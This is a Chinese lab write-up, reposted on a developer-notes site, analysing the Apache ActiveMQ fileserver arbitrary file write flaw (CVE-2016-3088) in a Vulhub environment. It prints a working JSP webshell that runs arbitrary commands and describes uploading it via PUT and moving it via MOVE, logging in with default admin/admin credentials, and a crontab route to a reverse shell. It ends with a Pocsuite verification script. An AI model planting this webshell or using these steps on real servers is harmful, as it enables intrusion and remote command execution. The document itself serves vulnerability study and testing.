热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析相关的知识,希望对你有一定的参考价值。



一、ActiveMQ简介:

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。


二、漏洞描述:

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:



1.其使用率并不高


2.文件操作容易出现漏洞


所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。在测试过程中,可以关注ActiveMQ的版本,避免走弯路。


三、漏洞原理:

下载源码进行分析,可以看到ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,可以看到第二处的if相当于没有对用户身份进行校验。

PUT方法调用如下函数之后,上传到的目录是在${activemq.home}/webapps/fileserver下,源代码部分如下图:

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

接下来看MOVE方法的源代码中并没有对移动的路径进行限制

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析


四、漏洞利用:

文件写入有几种利用方法:我们这里演示上传webshell



1.写入webshell


2.写入cron或ssh key等文件


3.写入jar或jetty.xml等库和配置文件


webshell代码


























<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); }%>



我们利用put方法进行任意文件的上传

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

接下来我们访问上传文件查看是否上传成功。

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。

可以解析jsp文件的路径有:



1./opt/activemq/webapps/api


2./opt/activemq/webapps/admin


这里有一个坑,困惑了我很久,我的方法步骤都没有问题为什么MOVE方法会一直响应超时并且得不到任何响应的内容。尝试了很久,我一度怀疑我的vulhub环境有问题,一次偶然中我用burp抓到的包去修改执行MOVE方法很快就得到了响应结果,神奇的是把这个数据包重新复制到repeater执行再次出现响应超时的结果,明明是两个相同的数据包,真是令人费解,我只能归结于MOVE方法在这里不太稳(ps:这是我从别的文章看到的)。

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

这个就是MOVE成功之后得到的响应内容。

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

接着我们访问移动后的目录看看结果。但是这里就出现了一个很鸡肋的地方,就是要想访问到我们的webshell必须是登录之后才可以,因为/api,/admin这两个路径必须是登录后才可以访问但是move移动到这两个路径是不需要登录的,好吧,我们输入默认的弱口令admin/admin,登录后看到了我们心心念念的webshell。

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

拿到了webshell,虽然它很鸡肋但我们仍然要坚强的执行几条命令去宣告我们的战果。

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

我们简单说一下其他的利用方法,写入crontab,自动化弹shell,这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败),接下来将其移动到/etc/cron.d/root,如果上述两个请求都返回204了,说明写入成功。等待反弹shell,这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。尚未测试。


五、Poc编写:

这一部分我们根据漏洞的原理,既然MOVE方法不稳定那么就去验证PUT是否可以执行成功,我在poc编写部分用到了Pocsuite。

代码如下:











































































from pocsuite.net import reqfrom pocsuite.poc import POCBase,Outputfrom pocsuite.utils import register
class ActiveMQPoc(POCBase): # 类名不用担心重复 vulID = '002' # ssvid version = '1.0' author = ['xssle'] vulDate = '2019-09-07' createDate = '2019-09-07' updateDate = '2019-09-07' references = ['https://www.secpulse.com/archives/60064.html'] name = 'Apache ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)' appPowerLink = 'activemq.apache.org' appName = 'Apache activemq' appVersion = '版本小于 Apache ActiveMQ 5.14.0' vulType = 'Arbitrary File Reading' desc = ''' 本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),\ 同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。 ''' pocDesc = ''' pocsuite -r ***.py -u target --verify" ''' samples = [] install_requires = ['']
def _verify(self): result = {} path = "fileserver/poc.txt" url = self.url + '/' + path header = { "Accept": "*/*", "Accept-Language": "en", "User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection":"close", "Content-Length":"120976" } try: resp = req.put(url,header) resp1 = req.get(url,header) if resp.status_code == 204 and str(resp1.status_code)[0] in ('2','3') : result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url except Exception as ex: pass
return self.parse_output(result)
def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output
def _attack(self): return self._verify()
register(ActiveMQPoc)



代码执行效果如下:

Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

如果可以的话我想把这个写成系列文章,希望大家鼓励。







Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析





Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析 FreeBuf+ FreeBuf+小程序:把安全装进口袋









精彩推荐














Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析











Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析


推荐阅读
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 本文讨论了如何在codeigniter中识别来自angularjs的请求,并提供了两种方法的代码示例。作者尝试了$this->input->is_ajax_request()和自定义函数is_ajax(),但都没有成功。最后,作者展示了一个ajax请求的示例代码。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • Skywalking系列博客1安装单机版 Skywalking的快速安装方法
    本文介绍了如何快速安装单机版的Skywalking,包括下载、环境需求和端口检查等步骤。同时提供了百度盘下载地址和查询端口是否被占用的命令。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • Android系统移植与调试之如何修改Android设备状态条上音量加减键在横竖屏切换的时候的显示于隐藏
    本文介绍了如何修改Android设备状态条上音量加减键在横竖屏切换时的显示与隐藏。通过修改系统文件system_bar.xml实现了该功能,并分享了解决思路和经验。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • WebSocket与Socket.io的理解
    WebSocketprotocol是HTML5一种新的协议。它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送 ... [详细]
  • 本文介绍了在Linux下安装和配置Kafka的方法,包括安装JDK、下载和解压Kafka、配置Kafka的参数,以及配置Kafka的日志目录、服务器IP和日志存放路径等。同时还提供了单机配置部署的方法和zookeeper地址和端口的配置。通过实操成功的案例,帮助读者快速完成Kafka的安装和配置。 ... [详细]
  • 一句话解决高并发的核心原则
    本文介绍了解决高并发的核心原则,即将用户访问请求尽量往前推,避免访问CDN、静态服务器、动态服务器、数据库和存储,从而实现高性能、高并发、高可扩展的网站架构。同时提到了Google的成功案例,以及适用于千万级别PV站和亿级PV网站的架构层次。 ... [详细]
  • 网络请求模块选择——axios框架的基本使用和封装
    本文介绍了选择网络请求模块axios的原因,以及axios框架的基本使用和封装方法。包括发送并发请求的演示,全局配置的设置,创建axios实例的方法,拦截器的使用,以及如何封装和请求响应劫持等内容。 ... [详细]
  • Activiti7流程定义开发笔记
    本文介绍了Activiti7流程定义的开发笔记,包括流程定义的概念、使用activiti-explorer和activiti-eclipse-designer进行建模的方式,以及生成流程图的方法。还介绍了流程定义部署的概念和步骤,包括将bpmn和png文件添加部署到activiti数据库中的方法,以及使用ZIP包进行部署的方式。同时还提到了activiti.cfg.xml文件的作用。 ... [详细]
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有